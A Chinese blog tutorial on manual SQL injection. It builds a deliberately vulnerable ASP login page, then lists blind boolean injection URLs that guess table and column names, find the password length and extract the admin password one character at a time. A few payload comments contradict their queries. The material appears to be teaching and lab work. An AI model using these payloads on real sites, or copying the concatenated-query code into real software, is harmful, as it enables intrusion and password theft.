SQL手工注入测试

login.html
<html>
<head><title>请登录</title></head>
<body>
 <div align="center">
   <form action="login.asp" method="post">
          请输入密码:
          <br><br>
          用 户:<input name="name" type="textbox">
          <br>
          密 码:<input name="pass" type="password">
          <br>
          <input value="登录" type="submit">
  </form>
 </div>
</body>
</html>

login.asp
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>登录</title>
</head>
<body>
<%
inname=Request("name")
inpass=Request("pass")

set conn=server.createobject("ADODB.CONNECTION")
conn.open "Provider=microsoft.jet.oledb.4.0; Data Source="+server.mappath("/data.db")
sqlstr="SELECT * FROM data Where uname='" & inname & "'"

select * from data where name = 'admin' and 1=1 and 'a'='a'
Set rs=conn.Execute(sqlstr)

if inpass=rs("pass") then	
  response.write("<h3>登录成功!</h3>")
  response.write("用户编号:" & rs("uid") & "<br>")
else
  response.write("登录失败!")
end if

Set rs=Nothing
conn.close
%>
</body>
</html>

参数: http://192.168.10.1/login.asp?pass=test&name=test

原SQL语句:SELECT * FROM data Where uname='test'

1.构造能执行的SQL语句

http://192.168.10.1/login.asp?pass=test&name=test' and 1=1 and 'a'='a
相当于执行SQL语句为SELECT * FROM data Where uname='test' and 1=1 and 'a'='a'
如果执行成功,1=1就是我们可能执行的SQL语句

2.猜表名

将1=1替换 (select count(*) from data)>0
http://192.168.10.1/login.asp?pass=test&name=test' and (select count(*) from data)>0 and 'a'='a
相当于执行SQL语句
SELECT * FROM data Where uname='test' and (select count(*) from data)>0'

3.猜用户名字段

(select count(name) from data)>0


4.猜密码字段

(select count(pass) from data)>0


5.猜密码长度

//判断密码长度大于1

(Select count(*) from data where name='admin' and len(pass)>1)>0  

//判断密码长度大于10

(Select count(*) from data where name='admin' and len(pass)<10)>0


6.逐位猜密码

//猜测第1位密码是否为数字
(Select count(*) from data where uname='admin' and mid(pass,1,1)<'9')>0

//猜测第1位密码是否为字母

(Select count(*) from data where uname='admin' and mid(pass,1,1)>'a')>0

//猜测第1位密码是否等于c

(Select count(*) from data where uname='admin' and mid(pass,2,1)='c')>0


  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值